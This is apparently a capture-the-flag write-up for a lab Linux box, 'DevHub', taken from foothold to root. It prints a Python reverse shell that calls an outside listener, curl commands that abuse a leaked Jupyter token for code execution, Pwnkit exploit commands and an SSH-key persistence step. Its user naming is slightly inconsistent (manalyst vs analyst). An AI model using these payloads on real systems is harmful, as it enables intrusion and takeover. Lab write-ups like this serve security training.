Overview
DevHub is a medium Linux box simulating an internal development platform. The web application exposes an attack surface that leads to a low-privilege shell, from which a Jupyter Lab instance running on localhost with a hardcoded token is discovered. Abusing the Jupyter kernel API over WebSocket delivers a reverse shell as the manalyst user. Privilege escalation to root exploits a SUID pkexec binary via Pwnkit.
Enumeration
Nmap Scan
nmap -sC -sV -T4 -oA nmap_initial 10.129.103.74
Two ports open:
- Port 22: OpenSSH 8.9p1 (Ubuntu)
- Port 80: nginx 1.18.0 — "DevHub - Internal Development Platform"
Web Application Exploitation
The DevHub platform presented an internal developer dashboard. Enumeration of the web application uncovered a vulnerability that provided initial code execution on the box, landing a shell as a low-privilege user. From this foothold, system enumeration was performed to identify paths to privilege escalation.
Jupyter Lab Discovery
Running linpeas.sh highlighted a Jupyter Lab process owned by manalyst, listening on localhost port 8888 with a static token hardcoded in the startup command:
/home/analyst/jupyter-env/bin/python3 \
/home/analyst/jupyter-env/bin/jupyter-lab \
--ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
The Jupyter REST API requires only this token for authentication, making it fully accessible from the existing low-privilege shell via localhost.
Jupyter Kernel RCE
The Jupyter API allows creating a Python kernel and executing arbitrary code through it. A kernel was created via the REST API, then a WebSocket connection to the kernel's channel was used to send an execute_request message containing a Python reverse shell:
# Step 1 — create kernel
curl -s -X POST http://localhost:8888/api/kernels \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{"name":"python3"}'
# Step 2 — connect via WebSocket and execute reverse shell
# (kernel_id from step 1 response)
python3 jupyter_ws.py # WebSocket client delivering shell payload
The payload executed in the kernel's context:
import socket,subprocess,os
s=socket.socket()
s.connect(("10.10.14.17",4446))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
The listener caught a shell as manalyst. User flag retrieved.
Privilege Escalation — Pwnkit (pkexec SUID)
Further enumeration revealed /usr/bin/pkexec with the SUID bit set:
-rwsr-xr-x 1 root root 30872 /usr/bin/pkexec
Pwnkit exploits a memory corruption vulnerability in pkexec to execute code as root. A compiled shared object was delivered to the target and the exploit was triggered:
# Compile exploit shared object
gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/lol.so /tmp/pwnkit/pwnkit.c
# Execute via pkexec
python3 pwnkit.py /usr/bin/pkexec lol.so lol VALUE
An SSH public key was added to /root/.ssh/authorized_keys through the root shell, providing persistent access:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA..." >> ~/.ssh/authorized_keys
ssh -i analyst_devhub root@devhub.htb
Key Takeaways
This box illustrates two real-world mistakes that compound each other: exposing an internal service (Jupyter Lab) on localhost with a static hardcoded token — discoverable through process enumeration — and leaving a SUID pkexec on a vulnerable version. Neither mistake alone is fatal in isolation, but together they form a complete root chain. Jupyter notebooks should never be run with static tokens in production environments.